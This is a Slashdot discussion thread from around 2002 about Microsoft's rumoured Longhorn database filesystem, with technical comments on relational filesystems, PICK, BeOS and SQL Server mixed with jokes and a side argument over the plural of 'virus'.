    Sources tell us that the Longhorn "screenshots" showing some of this functionality currently doing the rounds, but sources briefed by Microsoft assure us these are not genuine.

    Sane, useful, legal?
    There's a sensible rationale for such a move, argue advocates: our data stores are confined to silos such as our email application. A shared namespace would allow distributed corporate queries such as 'Find emails from Bob to Carole about ProjectX in FacilityY'.

    Although Microsoft has touted such a vision for a decade, precedents are rare. They've run into performance issues, and no namespace schema has won general acceptance.

    Hans Reiser, of ReiserFS fame, has been leading the discussion in how free software can respond to the challenge, and his arguments are summarized in his excellent paper here which should be compulsory reading.

    As we noted last year, Pick and IBM's OS/400 effectively run a data store as the file system, but they didn't get there from here, so to speak, having designed the OS around such an architecture from the ground up. On the desktop, the late Be Inc attempted such an ambitious scheme (hi Benoit) before reverting to a more conventional file system layer which has database-like properties: relying on file attributes which are constantly reindexed in the background.

    The move has antitrust implications: it potentially puts Microsoft at an advantage over Oracle and other competing SQL implementations every copy of Windows will effectively come with a light version of Microsoft SQL Server.

    In practice, however, a distributed database is only as strong as its weakest link, and we can't imagine a corporate IS manager who'd turf out Oracle for a distributed network of Windows PCs running Longhorn. A mantra in recent years has been that IBM and Sun offer a "single point of failure", but the dangers of multiple points of failure become more stark in a distributed system. Want last quarter's accounts receivable? Ah, you'll have to wait until the cleaner's unplugged the Hoover. ®

  14. A.) How bad MS is, and how we hate it... by Aexia · · Score: 1

    Well... you asked.

  15. Needs Pentium 7 to run by sitturat · · Score: 1

    If the filesystem plugins are required for the OS to function we are going to need some pretty serious hardware to run it.

    This should make intel/amd happy.

    1. Re:Needs Pentium 7 to run by killmenow · · Score: 3, Funny

      Minimum Hardware for Longhorn:

      2.4Ghz Pentium 4
      1GB DDR or RDRAM
      UDMA133 10GB minimum for OS
      nVidia GeForce3 or equal power 4x AGP card

      Of course, those are just minimums to get it to BOOT. To actually use it, go SMP, double the RAM, and try hardware RAID if you actually want your hard drives to respond.

      Other not-well-know features:

      CD-RW support (only support 1x burn speed to slow down pirates, and includes a pseudo-random error generator to make CD coasters with an approximate ratio of 1:7)
      DVD support (won't actually play DVDs because of DRM issues, just used to distribute software)
      USB 2 support (finally)
      Various NIC support (but it will still rely on noisy, broadcast-centric network protocols)
      Modem support (WinModems preferred...but then again, who uses modems anymore [-1:flamebait])

      And a plethora of other third-party devices are supported but will not work well with each other and whose drivers will on occasion cause Longhorn to hard-lock in a newly improved GREEN screen of death. (Their research indicated people have more positive emotions about the color green instead of blue. If you're color-blind, you unfortunately will see the same old BSOD.)

      And of course, the number of system changes that require a reboot is dropped to an all-time low of THREE!!!

      But what I want to know is: how often will you have to DE-FRAG the dbfs?

  16. Pick and play by batboy78 · · Score: 1


    Sounds to me like Microsoft is now just picking the best attributes from current and past OSes. A dash of Be, a hair of ReiserFS, maybe a little OSX to brighten things up.

  17. relational databases as fs by jd142 · · Score: 5, Interesting

    I've heard talk of this over a year ago, and while at first it sounded like a really overblown idea, the more database work I do, the more interesting it becomes.

    There are a few problems though:

    Boot media. Right now, in the windows world, most boot floppies are fat12. NTFS won't fit on a single boot floppy. And it is a pain in the butt to make a bootable cd when compared to making a bootable floppy.

    So what happens when you need to boot from something other than your hard drive? How easy will it be to make a boot cd?

    What about the way MS keeps things hidden from you? Try this in XP: make a directory. Put 1 file in it called "testme" with no file extension. Open the file and type in the word "apple". Now do a search for all files containing the word apple in that directory. Windows won't find it.

    What happens when you do something with a file that the relational database can't handle?

    Done well, this has the potential to be really cool. I doubt it will be done well.

    1. Re:relational databases as fs by DrCode · · Score: 2

      Maybe some other old-timer knows more about this; but wasn't it done before as the "PICK" operating system for mainframes?

    2. Re:relational databases as fs by moonbender · · Score: 1

      So what happens when you need to boot from something other than your hard drive? How easy will it be to make a boot cd?
      What do you mean, "make a boot cd"? Windows comes with a boot CD, which happens to be the same one you insert for setup. More isn't required by most people buying the OS.

      --
      Switch back to Slashdot's D1 system.
    3. Re:relational databases as fs by McSpew · · Score: 2

      PICK was a database-as-OS, but it wasn't relational. PICK liked to say they were "post-relational" but really, they just used flat files with multivalued fields. Essentially, any field could become a one-dimensional array.

      De-fragging a disk drive on a native PICK system was a nightmare. Essentially, you had to reformat and restore from backup to defrag a native PICK machine. It's little wonder that PICK Systems eventually ported their DBMS to various *nix platforms and gave up on the DBMS-as-OS concept.

    4. Re:relational databases as fs by kin_korn_karn · · Score: 2

      Essentially, you had to reformat and restore from backup to defrag a native PICK machine

      Ah, just like the Windows registry! hmm...

    5. Re:relational databases as fs by alyandon · · Score: 1

      Actually... there are boot time defraggers that will defrag the registry hive. Another simple thing to do is to install a minimalist parallel copy of NT/2000/XP (to recover from super nasty device driver failures) and defrag the drive from there (it will defrag the registry hive of the other install because it isn't in use).

    6. Re:relational databases as fs by Darkstorm · · Score: 1

      Done well, this has the potential to be really cool. I doubt it will be done well.


      Currently I am developing an app (windows) that uses MS SQL 7 (the client had already paid for it). Now I've worked with oracle, and some small apps for interbase, and so I have a reasonable comparison between them.

      Currently I work extra hard on the programming side to make up for the lack of functionality on the ms sql server side. And without some drastic changes to the way sql server handles bianary fields then it will never work well.

      But if M$ wishes to slow down the filing system and add quite a bit of overhead...who am I to complain? I just won't use it.

      SQL Server has a transaction log that if not properly maintained (reduced) will quickly exceed the actual size of the data in the database. I will say that a transaction log and the ability to undo a major screw up or crash would be nice, but how much hard drive space will be consumed to have that functionality?

      After playing with XP, I'm not holding out any hope for the next version of windows. They might dream it...but the only way other people will agree with them is if they share whatever they took to get to those dreams. M$ os's make me a decent living, but it doesn't mean I have to love everything they do...actually w2k is about the only os they have made that I can deal with.

      I wonder if they are planning on a 64bit version of it....will it crash harder and faster than a 32bit version?

      --
      If ignorance is bliss, the world is full of blissful people
    7. Re:relational databases as fs by F.Prefect · · Score: 2
      What happens when you do something with a file that the relational database can't handle?
      Precisely what happens today, assuming you haven't requested database-type services. The filesystem doesn't become a relational database by default. Your app has to be aware of the DB capabilities. If the app is not transaction-aware, then you get vanilla NTFS behaviour.

      What happens is there is a new API call BeginTransaction, or something like unto it (I forget the name). You get a handle to a transaction object, and then all filesystem calls from that point on until the corresponding Commit or Rollback call take place in the context of the transaction.

      Done well, this has the potential to be really cool. I doubt it will be done well.
      I seriously think that it will be done well. (Having the courage to push it back to Blackcomb from Longhorn should be evidence that they're willing to do it right - there are already people who want this feature in NTFS.)
      --
      --Ford Prefect
    8. Re:relational databases as fs by j7953 · · Score: 2
      Boot media.

      Why would that be a problem? Right now, take a look at e.g. Grub (the GNU boot loader), which can read several different file systems and load the appropriate files for booting. There's nothing that would stop Grub from understanding MS's database storage format and retrieving the appropriate records for booting. MS's own bootloader can probably do the trick, so why can't Grub? (Yes, this assumes that MS documents the storage format. I hope they will.)

      Concerning other boot media, like floppys or CDs, there's nothing that will stop you from continuing ot use an ordinary file system on those.

      What about the way MS keeps things hidden from you? Try this in XP: make a directory. Put 1 file in it called "testme" with no file extension. Open the file and type in the word "apple". Now do a search for all files containing the word apple in that directory. Windows won't find it.

      I suppose Windows has a problem with the missing file extension here. Maybe they search all files that match "*.*" (which are less files than all that match "*"). Also note that you can still open and read the file, but the search feature won't do so, so this is not related to the filesystem, but a bug in the search feature.

      What happens when you do something with a file that the relational database can't handle?

      There is nothing I can think of that you can do with a file and cannot do with a filesystem implemented on top of a database.

      --
      Sig (appended to the end of comments I post, 54 chars)
    9. Re:relational databases as fs by throx · · Score: 2

      [C:\]cd temp [C:\temp]md t2 [C:\temp]cd t2 [C:\temp\t2]copy con testme. con => C:\temp\t2\testme apple ^Z 1 file copied [C:\temp\t2]find "apple" * ---------- TESTME apple [C:\temp\t2] What's your problem?

      --

      Fear: When you see B8 00 4C CD 21 and know what it means

    10. Re:relational databases as fs by Andrewkov · · Score: 1

      It seems likely that a windows system with a RDMS file system would have a boot partition formated as FAT32.

    11. Re:relational databases as fs by Andrewkov · · Score: 2
      SQL Server has a transaction log that if not properly maintained (reduced) will quickly exceed the actual size of the data in the database. I will say that a transaction log and the ability to undo a major screw up or crash would be nice, but how much hard drive space will be consumed to have that functionality?

      Every version of Windows was always designed for hardware that didn't exist yet, or the current hardware was not quite fast enough. In 5 years time, disk space will probably not be the issue that it is today, so maybe it is feasable.

    12. Re:relational databases as fs by MrCreosote · · Score: 1

      As I used to say

      'If you PICK it, it wont get better'

      --
      MrCreosote Meow!Thump!Meow!Thump!Meow!Thump! "You're right! There isn't enough room to swing a cat in here!"
    13. Re:relational databases as fs by Katravax · · Score: 1

      What functionality in MS SQL are you missing? I've found that most people that complain about the feature set in MS SQL just don't know of the feature's existence or how to use it.

    14. Re:relational databases as fs by tswinzig · · Score: 2

      Done well, this has the potential to be really cool. I doubt it will be done well.

      When you're talking about Longhorn, the correct phrase is "well done," and I prefer Flo's Filet, thank you.

      Seriously, Microsoft needs to go buy the book Dominic Giampalo wrote about the Be File System (BFS), and steal many ideas from him (they already took the taskbar window grouping idea from BeOS).

      I have high hopes for this new FS, seeing as how MS SQL Server has been the best Microsoft product I've ever used.

      --

      "And like that ... he's gone."
    15. Re:relational databases as fs by fferreres · · Score: 1

      For price/performace on slow intel plataform you could use Linux + MySQL for example, which would be at the top at $0 per transaction (+hardware).

      I know I woudn't trust transactions to MySQL yet, but i wouldn't trust it to a MS SQL server either.

      --
      unfinished: (adj.)
    16. Re:relational databases as fs by Malcontent · · Score: 2

      Aggregate function on non numeric fields (Even first or last) views with orders or group bys, regular expression searching, a decent stored procedure language, domains, point in time recovery, collation defined at the field level.

      Ok those were the first ones that poped into my head. Postgres actually has a much richer feature set then ms-sql and interbase supports domains very nicely as well as column level collation.

      Oh yea a couple of more things are very important too like being available on more then one platform, native php/perl/python drivers. I guess they are finally slapping together a JDBC driver I wonder if it will actually work.

      --

      War is necrophilia.

  18. In related news... by daeley · · Score: 4, Flamebait

    Microsoft today announced a security patch for Longhorn, to counteract the 'Sharp Cheddar' trojan horse, which shreds hard drives.

    --
    I watched C-beams glitter in the dark near the Tannhauser gate.
  19. Tougher migration by tapiwa · · Score: 1, Troll

    A db coupled filesystems will probably make it harder to share files across multiple platforms.

    Tighter lockin into Microsoft prducts. Once they have you, you are hooked.

    And if you think XP phones-home, wait till you get this baby. It should be a lot easier for Microsoft to control things on YOUR machine via db.

    Want to access more than 50 files a day... upgrade to corporate.

    --

    Live today. Tomorrow will cost a lot more!

    1. Re:Tougher migration by 13Echo · · Score: 1

      That's a frightening possibility that seems like it could be totally true.

      I'd mod you up man, but I can't.

    2. Re:Tougher migration by scott1853 · · Score: 2

      Who says the need to control things on your machine. By the time this is released, nothing will be stored on your computer, it'll be stored on an SQL Server box a blank password at MS HQ.

    3. Re:Tougher migration by Glonk · · Score: 1

      And if you think XP phones-home, wait till you get this baby. It should be a lot easier for Microsoft to control things on YOUR machine via db.

      Oh come on. You seriously thinks MS cares about how many gigs of porn you have? Unlike the small spyware companies, MS doesn't need the pathetic income provided by "usage statistics" and whatnot.

      They would NOT risk the publicity of them having access to your machine via db remotely, there's almost nothing to gain and everything to lose.

      How much did you pay for your tinfoil hat?

    4. Re:Tougher migration by Darth+RadaR · · Score: 2

      I parsed that as ....

      And if you think XP phones

      ...and just got a real scary visual.

      --
      /*drunk.. fix later*/
  20. Re:Great... by KingAdrock · · Score: 1

    WTF are you talking about? It isn't like Microsoft promotes access as a high-end relational database. No, they have a little something called SQL Server that does that for them.

    I'll be the first to admit that Access blows. But nobody uses it for anything other than storing grandmas recipes!

  21. Next OS??? by ackthpt · · Score: 1
    regarding Microsoft's next OS.

    I just knew they were lying about halting new development to make current OS and apps secure. What, me worry?

    --

    A feeling of having made the same mistake before: Deja Foobar
  22. Database Filesystem by kill-hup · · Score: 3, Interesting

    I personally think the idea of an sql-ish filesystem might be handy for some tasks but not the majority of them. I can see the benefits of running queries on my email and documents (and maybe even log files), but I question the performance of such a system in general. I can't imagine access time would not be affected signifigantly by this - even for the home user. I definitely can't see running this on a server level - can you imagine all the I/O involved in email processing on a large server running a DB FS?

    --
    Sinepaw.org: Grape Winos
    1. Re:Database Filesystem by jmccay · · Score: 2

      I am more concerned with the new security issues that Microsoft will intorduce when they tie SQL-Server into the Operating System. They have yet to tie a major product that existed seperately into the operating system that didn't produce at least a few security problems, and then look at all the security problems that SQL-Server had in the past.

      --
      At the next eco-hypocrisy-meeting, count the private jets used to get to the meeting. Should be interesting to see that
    2. Re:Database Filesystem by LadyLucky · · Score: 1
      The overhead can be less than you might imagine. I was involved in the migration of one (object) database to MS SQL Server. This involved extraction of the entire contents, at this time several hundred MB of data, out of the object database, and into SQLServer. This was done using java, via the Object Database interface and JDBC.

      As it happened, there already existed code to span the entire tree, writing out to CSV file, for what ever ungodly reason. The version that spat out to SQL Server took about 10% longer than the one writing to the file system. That's not very much difference.

      I should stress however the lies damned lies and statistics factor. The writing probably wasnt the bottleneck, so the raw comparative speed differential may have been greater. And we turned off the indices while it did that.

      --
      dominionrd.blogspot.com - Restaurants on
  23. What happened to revs? by TexTex · · Score: 4, Insightful

    To one who doesn't actively use a Microsoft OS, I can't help but wonder how many operating systems they plan to support and host. How long was the active lifespan on ME? I think it seemed less than a year. It makes me wish MS would use version numbers to imply upgrades or changes rather than XP one day and Longhorn the next. The Linux and Apple folk have never really had this problem.

    --
    -Barkeep, a draft of your most hazardous brew, for the world is slowly stepping into focus, and I don't like what I see.
    1. Re:What happened to revs? by vample · · Score: 1

      They moved away from version numbers because supposedly the typical end user didnt really understand them, and that the 'year' names, like Windows 95, Office 97, Frontpage 2002 were something that could more easily be understood as 'new' or 'current'.

      Also, going from 'Windows 3.1' / 'Windows NT 4' to 'Windows 98' / 'Windows2000' and then to something like 'Windows XP' they are more clearly able to market something as an entirely new product rather than just an upgrade of an existing product. This should make it easier to sell to the end user - its brand new, not just a fix of a few features.

      --
      -- Ryan Watkins vamp@vamp.org http://www.vamp.org/
    2. Re:What happened to revs? by VoiceOfRaisin · · Score: 1

      Longhorn is the codename, just like Whistler was for XP They also do use version numbers. Windows 2000 = 5.0 Windows XP = 5.1

    3. Re:What happened to revs? by __past__ · · Score: 1

      Use Version numbers? You mean like with Word back than, when they upgraded from 2.x (IIRC) to 6.0 because some other Office Suite really was in it's sixth revision?

  24. How can they make Longhorn? by TexTex · · Score: 4, Funny

    I didn't realize that Apple was currently planning another new OS for Microsoft to use as their template...

    --
    -Barkeep, a draft of your most hazardous brew, for the world is slowly stepping into focus, and I don't like what I see.
    1. Re:How can they make Longhorn? by RichMeatyTaste · · Score: 1

      You misspelled Xerox.

      You Apple people always forget Xerox...

      --


      Ever feel like you are driving the getaway car?
    2. Re:How can they make Longhorn? by kin_korn_karn · · Score: 2

      you Xerox people always forget about your desk.

    3. Re:How can they make Longhorn? by Tofuhead · · Score: 2

      Interface. Aqua...Luna...shades of blue...rounded corners...large icons...duck...

      http://www.lowendmac.com/itc/010216.html
      http://www.wired.com/news/technology/0,1282,41822, 00.html

      < tofuhead >

      --
      It is still the dark of night.
  25. Go read the Hans Reiser paper by avdi · · Score: 5, Insightful

    I have no opinion about this news; but I hope it prompts a few more people to make the effort to read through Hans Resiser's brilliant whitepaper. The first time I read that article I was blown away by the amount of thought the guy has put into the design of file systems. The first OS to thoroughly exploits his ideas will revolutionize computing.

    --

    --
    CPAN rules. - Guido van Rossum
    1. Re:Go read the Hans Reiser paper by DustMagnet · · Score: 1

      Which is slashdotted at the moment. I was able to get it from google's cache.

      --
      'SBEMAIL!' is better than a goat!!
    2. Re:Go read the Hans Reiser paper by Waffle+Iron · · Score: 5, Insightful
      An excellent paper. I noticed one section that should be read and understood by anyone contemplating the trend towards "digital rights management" schemes:
      A common mistake by authors of information is to not realize that most of the total utility of their piece of information will be felt by those to whom its utility is either rather small, or for which its value is speculative to the person considering accessing it. The other common mistake is to not realize or care how much harm will be caused by others expending the time cost of accessing their information only to find it irrelevant. Since we all have limited lifespans in which to do our research, time spent accessing rather than reading information detracts from our ability to wander speculatively after information that might be useful.
      He is making the point in terms of namespace balkanization, but I think that is argument is also valid in a more general sense.
    3. Re:Go read the Hans Reiser paper by byran+lei · · Score: 1

      >I have no opinion about this news; but I hope it prompts a few more
      >people to make the effort to read through Hans Resiser's brilliant
      >whitepaper [namesys.com]. The first time I read that article I was
      >blown away by the amount of thought the guy has put into the design of
      >file systems. The first OS to thoroughly exploits his ideas will
      >revolutionize computing.
      >
      >
      Snicker. Yeah. This is what the world needs. At least RedHat was smart enough to make EXT3 (which is compatible with EXT2) the default with Redhat 7.2. We don't *need* the kind of filesystems Resiser seems to be so hung up on. We already have enough problems with the acessing data stored on the current and past filesystems (Remember the Viking lander data) and lamers like you want to throw *ANOTHER* incompatible filesystem into the mix?!? No thank-you very much.

    4. Re:Go read the Hans Reiser paper by jafac · · Score: 2

      yes! because THEN I'll finally be able to organize all of my pr0n!!!

      I'll keep a certain set of pictures in my "girl on girl" folder, then there's my "threesomes two chicks" folder, then there's my "blondes" folder, my "asians" folder, my "pregnant" folder, and then I'll be able to do a simple search and find all the pics that have threesomes where one of them is a blonde guy, one's an asian girl, and one's a pregnant hispanic with a tattoo and peirced nipple with a fetish for being spanked and wearing high heels. Now THAT will be power! THAT will change the world. YES!!!

      --

      These are my friends, See how they glisten. See this one shine, how he smiles in the light.
  26. Waiting for Audrey II by Anonymous Coward · · Score: 1, Funny

    "Microsoft will start selling Internet Appliances"

    I'm still waiting for the successor to the "Audrey" internet appliance.

    The first Audrey looked like a toilet tank. The 2nd one promises to add a porcelain bowl in front of it.

    Look for Audrey II at Circuit City, Home Depot, and Lowe's

    "Feed me Seymore!

  27. So when is logjam going to be avaiable? by warpSpeed · · Score: 1

    I can't wait for the abuse to start a fresh!

    After the US DOJ and the courts caved in to Micro$oft, the Marketing department adopted a new attitude. At thier latest press conference their spoke mistress (dressed in black leather) called the meeting to order with her whip and declared that "All your desktops are belong to us!".

  28. I submitted this story on Blackcomb in AUGUST: by Artifice_Eternity · · Score: 5, Informative

    For some reason, /. didn't consider a story on future MS operating systems important.

    Read it yourself:

    http://www.zdnet.com/anchordesk/stories/story/0,10 738,2802585,00.html

    1. Re:I submitted this story on Blackcomb in AUGUST: by rebelcool · · Score: 2

      this is slashdot, if we ignore the obvious maybe it'll go away and linux will rule the day

      --

      -

    2. Re:I submitted this story on Blackcomb in AUGUST: by Artifice_Eternity · · Score: 2

      *laugh*

      You just spend about 3 times as many words chewing me out as I did in my original post.

      Who's whining?

      I pointed out a story which you admit was interesting, and which had been rejected -- twice actually -- by /.'s editors months ago. Yes, I know how many stories they receive, Mr. Anonymous Coward. I still fault the editors for being sloppy --have you noticed how much double-posting goes on lately?

      Volume of submissions is no excuse for bad editing.
      All my submissions have short, relevant subject lines (like "A look at MS' future plans for Windows") that a competent editor could figure out in 1 second.

      Maybe next time, take your own advice before you give it others.

  29. BCOD by DrCode · · Score: 3, Funny

    Will Longhorn feature the Blue Cheese of Death?

    1. Re:BCOD by daeley · · Score: 5, Funny

      What a grate idea! It would be a gouda whey to let a user know when something curdled.

      --
      I watched C-beams glitter in the dark near the Tannhauser gate.
    2. Re:BCOD by siegesama · · Score: 1

      If it behooves them, provided there's not too much at steak.

      --
      what the hell is a 'junk character', anyway?
    3. Re:BCOD by Aqualung · · Score: 2

      Great? I'd even say brie-liant! :-P

      --

      - Dave
    4. Re:BCOD by kin_korn_karn · · Score: 2

      if you don't stop I think I'm going to be provoloned from my swiss-like neutrality.

  30. The Speed of Slashdot. by Marcus+Brody · · Score: 2, Funny

    After significant scientific endeavour, I have calculated the speed of slashdot to be a whopping 53720mph!

    Time the register posted the original story:
    28 January 2002 5:58pm

    Time slashdot posted the link:
    Tuesday January 29, @06:04PM

    Therefore:

    5.58pm - 06.04pm = 6 minutes

    Distance from London, England to California, USA:
    5372 miles

    Therefore:

    5372/6 = 895.3333333 miles per minute
    =53720mph

    Is this some kind of world record?

    1. Re:The Speed of Slashdot. by dzym · · Score: 1

      Now imagine a beowulf cluster of slashdot editors!

      ... oh wait

    2. Re:The Speed of Slashdot. by sharkey · · Score: 2

      Actually

      5:58 PM GMT January 28 to 6:04 PM GMT January 29 = 1446 minutes.

      Taken from that, 5372/1446 = 3.7150760719225449515905947441217 miles/minute = 222 mph

      --

      --
      "Outlook not so good." That magic 8-ball knows everything! I'll ask about Exchange Server next.
  31. Nothing there about MS' new security focus by billtom · · Score: 2, Insightful

    I didn't see anything in that article reflecting the alledged new focus on security that billg went to so much trouble to spell out in his public memo.

    And not just that the new "features" metioned sound like great new places for bugs to hide, but MS doesn't even mention new security features in it's leaks.

    Like many other people have said, if MS is serious about security then the next release of Windows has to be a complete security audit with zero new features.

    sigh. and I had such high hopes that they got it this time.

  32. Re:Great... by ackthpt · · Score: 2
    It's called Script Kiddie Job Security. With all the holes in Windows now, imagine the hell they'll be able to play one someone with all their stuff in a standardized database which can be found on every desktop. No thanks.

    With the lenient stance of W's DoJ toward Microsoft (probably from a family habit of looking after big oil companies) and Bush being from Texas (by way of New England like Geo. Sr.) I wonder about the 'Longhorn' connection. Play on words?

    --

    A feeling of having made the same mistake before: Deja Foobar
  33. Interesting what wasn't discussed by motherhead · · Score: 5, Insightful

    like all the work and money MS has been throwing into SDMI like digital copywrite detection and prevention.

    From what I understand MS sees an opportunity to vector the DMCA-like drum beating of the music and film industry with it's own "application as services" subscriber model.

    don't know when that shoe is going to drop, but when it does well... here is a quote for you: "Piracy is not a technological issue. It's a behavior issue," Apple CEO Steve Jobs

    All hail alternative operating systems

    1. Re:Interesting what wasn't discussed by mgpeter · · Score: 1

      They would never discuss issues like that, just like you never hear about all the SDMI crap that gets installed via Windows Update.

      To truly appreciate what goes on without your knowledge with proprietary software, boot up windows 98 in safe mode after you install all the updates, and check out the device manager to see all the "extra" sound drivers you have.

    2. Re:Interesting what wasn't discussed by motherhead · · Score: 1

      it is dark times indeed when a man that quotes a vonnegut trout line in his sig and speaks the truth is modded down to -1 automatically.

      must have gone heavy on goatse and the taco web porn or something.

      anyways, yeah, agreed... rage on brother... rage on brother.

  34. i'm perplexed by 3.2.3 · · Score: 1

    the only was m$ can move xp units is to preload the oem version, but they're already cooking the successor to the successor? that's innovative!

  35. Re:Great... by xphase · · Score: 1

    Actually, Cigna healthcare uses Access as an interface to their databases. Yes, it's dumb, and anyone using Access as part of their job has _two_ computers. One for Access queries, which render the system useless until the data is returned, and one for regular work.

    No, they are not using Access as the db, but they are using it.

    --xPhase

    --
    The following sentence is TRUE. The previous sentence is FALSE.
  36. sounds like something I have seen before by Rubbersoul · · Score: 3, Interesting

    The demonstration version of Longhorn ... displays a new type of task dock that can include everything from stock tickers to work group collaboration features. ... That's the pane in Office XP that provides a list of most recently used files, or clipboard entries, or other frequently-accessed features.

    Does this sound so very similar to any other Windomanages to anyone else. So often on slashdot I see comments regarding Linux needs to stop playing catch up to Windows, but now it seem that Windown is playing catch up to Linux in may errors:

    - Security is now a hot iteam at MS
    - The "new" task bar

    Ok that is only a few and to clarify I am not saying that Linux is beating MS, but it does look that MS sees many good ideas with the work being done with Linux.

    --
    man .sig
    No manual entry for .sig.
    1. Re:sounds like something I have seen before by TheSync · · Score: 2

      Ok that is only a few and to clarify I am not saying that Linux is beating MS, but it does look that MS sees many good ideas with the work being done with Linux.

      Correct. The existance of Linux is a competitive threat, despite the fact that Windows has a majority market share. The free market keeps working. No need for anti-trust action.

    2. Re:sounds like something I have seen before by GypC · · Score: 2

      What do X11 window managers have to do with the Linux kernel? They all compile fine on my BSD, AIX, and Solaris boxen...

  37. the "upgrade" cycle by Infonaut · · Score: 2
    Exactly! Isn't it weird that the whole world just seems to take it in stride that every couple of years they're going to have to go through this painful upgrade process?

    It's sort of funny to me that Mac die-hards are complaining about the difficulties associated with moving to OS X, when the last serious OS upgrade we've had to deal with was OS 7, back at circa 1994.

    I'd hate to be a poor beleagured Windows user, having to go through major OS changes every time I finally get used to working with the previous OS.

    I guess it's job insurance for MS tech support folks.

    --
    Read the EFF's Fair Use FAQ
    1. Re:the "upgrade" cycle by TheAwfulTruth · · Score: 1, Flamebait

      Who the hell is holding a gun to your head forcing you to upgrade? I've got a 95 laptop a 98 computer and two XP computers and they all get along just fine. Is there something wrong with being able to have the latest and greatest when I buy a new machine? Why would I want to by a computer in 2000 and have Windows 95 installed on it becuase the government at slashdot's insistance says that they can only rev the OS once every 5 years?

      I'd hate to be a poor beleagured Linux user that has to upgrade his kernel every two weeks because of yet another catastrophic kernel bug. I guess it heeps the Red hat paid tech support people employed! There, how do you like the hyperbole?

      --
      Contrary to popular belief, coding is not all free blow-jobs and beer. Those things cost MONEY!
    2. Re:the "upgrade" cycle by Znork · · Score: 2

      Um, how about 'Microsoft'? Or maybe you missed the upgrade terms for XP? Either you upgrade now or you get to pay full price to upgrade later. Those are the breaks for a lot of companies.

  38. Re:Great... by SonicBurst · · Score: 1

    Actually, they already have. Win2K's Active Directory is just a modified Access database. IIRC, I think they call it an ESE database though, and I think ESE is just the latest name for the updated version of JET.

    --

    Geek used to be a four letter word. Now it's a six-figure one.
  39. Shucks by Legion303 · · Score: 2
    Is it too late to hope they'll iron out the many remaining bugs in Win 98 before squeezing out yet another "new and improved!" OS?

    -Legion

  40. Re:Great... by SerpicoWasTaken · · Score: 1

    Hey, remember the memo. Future MS products won't have security because Bill sent a memo to everyone (no literally everyone, employees, media outlets, researches. Apparently, it was even broadcast into outer space along with "Ray Of LIght" in hopes of contacting intelligent life.).

  41. Think Latin (was: Re:Scary future ahead) by cbv · · Score: 1

    P.S. Once again, it must be pointed out that virii is not a word (and actually makes no sense linguistically).

    It does make sense. As the singular word virus stems from Latin, it's plural version actually is virii.

    Oh wow, finally it pays off having to take Latin as first language ... ;-)

    1. Re:Think Latin (was: Re:Scary future ahead) by Lemmy+Caution · · Score: 2

      Eek, I shudder to think of your mastery of your second and subsequent languages. See the posts above yours - virus may have some Latinate origin, but it is as a mass noun (rather than a unit noun), only has a history in English as a unit noun, and was never pluralized in Latin.

    2. Re:Think Latin (was: Re:Scary future ahead) by absurd_spork · · Score: 1, Offtopic


      P.S. Once again, it must be pointed out that virii is not a word (and actually makes no sense linguistically).


      It does make sense. As the singular word virus stems from Latin, it's plural version actually is virii.

      w00t! Wrong. (Sorry, could not resist :-))

      virus is not a Latin word in itself, partly because the good old Latin speakers didn't have a notion of viruses, but even if it were, the second i would be redundant. Viri would be perfectly enough, except that this is the plural of vir "man".

      The English plural of virus is viruses, perfectly regular. In my opinion *virii is a bit of a hypercorrect form which someone invented to distinguish himself by his education.

    3. Re:Think Latin (was: Re:Scary future ahead) by Moridineas · · Score: 1
      It does make sense. As the singular word virus stems from Latin, it's plural version actually is virii.

      Oh wow, finally it pays off having to take Latin as first language ... ;-)


      Incorrect! That's wrong. I don't know of any latin word that goes from a nounUS form to nounII form for plural. silvus -> silvi. bonus -> boni.

      And for whoever said it came from latin vir--wrong. Vir is latin for man, cleary not the correct etymological root of the word ;)

      I'm unsure of the direct etymology...there is a latin word "virulentia" for stink that sounds reasonable.

      So let's assume virus is a purely english word. We pluralize english words with 's'! Viruses!

      Scott

    4. Re:Think Latin (was: Re:Scary future ahead) by abde · · Score: 4, Informative

      aaargh

      read this:

      http://www.perl.com/language/misc/virus.html

      The. Last. Word.

      --
      Don't blame me - I voted for Howard Dean. http://dean2004.blogspot.com
    5. Re:Think Latin (was: Re:Scary future ahead) by benedict · · Score: 2

      It still wouldn't be "viri", because "virus" is not
      the type of noun that is pluralized with an 'i' in
      Latin. So "viri", like "virii", is incorrect in
      Latin *and* in English.

      Furrfu.

      --
      Ben "You have your mind on computers, it seems."
    6. Re:Think Latin (was: Re:Scary future ahead) by KillerKane · · Score: 1

      Is it just me, or does anyone else think it's funny that a dialogue about MS's next OS almost immediately devolves into an argument about how to spell the plural of "virus"?

      --
      There is a thin line between genius and insanity. I have erased that line. -- Oscar Levant
    7. Re:Think Latin (was: Re:Scary future ahead) by Lucretius · · Score: 1

      Actually, "viri" is a proper form for a few different things...

      from vir, viri (n) it is the nominative plural, genative singular

      from virus, i (n) it is the genative singular..

      "virii", however, is incorrect in both Latin and in English

    8. Re:Think Latin (was: Re:Scary future ahead) by Lucretius · · Score: 1

      you are correct, it is not from "vir, viri", but rather from "virus,i(n)" which basically comes out to mean "poison, slime, virus"

    9. Re:Think Latin (was: Re:Scary future ahead) by Martin+Blank · · Score: 1

      I just pointed this out to a colleage.

      Only on Slashdot can a discussion about a new filing system degenerate to an argument on the Latin roots of a technology term.

      --
      You can never go home again... but I guess you can shop there.
    10. Re:Think Latin (was: Re:Scary future ahead) by Moridineas · · Score: 1

      Thanks for the info! That's what I thought but I didn't have my latin dictionary with me, and none of the online ones I checked seemed to have 'virus' in them. Didn't want to post false information on slashdot ;)

      thanks!

    11. Re:Think Latin (was: Re:Scary future ahead) by benedict · · Score: 2

      If you catch anyone using "viri" as the genitive
      singular of "virus" in English, do drop me a line,
      please. ;-)

      --
      Ben "You have your mind on computers, it seems."
    12. Re:Think Latin (was: Re:Scary future ahead) by Tony-A · · Score: 2

      The plural of virus is Microsoft.

    13. Re:Think Latin (was: Re:Scary future ahead) by Lucretius · · Score: 1

      You never know when people are going to bust out with the old latin forms.

      For instance, I've been known to say, "Sometimes, the side effects viri are very detrimental to productivity", I dont' even catch myself until someone points it out!! ;-)

      marc

    14. Re:Think Latin (was: Re:Scary future ahead) by Lucretius · · Score: 1

      There are actually a few online (no snide comments needed, I already realize how worthless all of this information is), though my personal favorite would be the morphology tool provided by the perseus project at Tufts.

      I'm such a geek... :-)

      marc
  42. Re:Alan Thicke. DEAD. by Graspee_Leemoor · · Score: 1

    I just heard the sad news on CBC radio. GNU fanatic Richard Stallman was found alive in his home this morning. Even if you never used his apps, you can appreciate what he did for GNU(/LINUX). Truly a low-res icon. He won't be missed ;)

    graspee

  43. Re:You laugh now by Dave_bsr · · Score: 1

    hmmm...apache....?

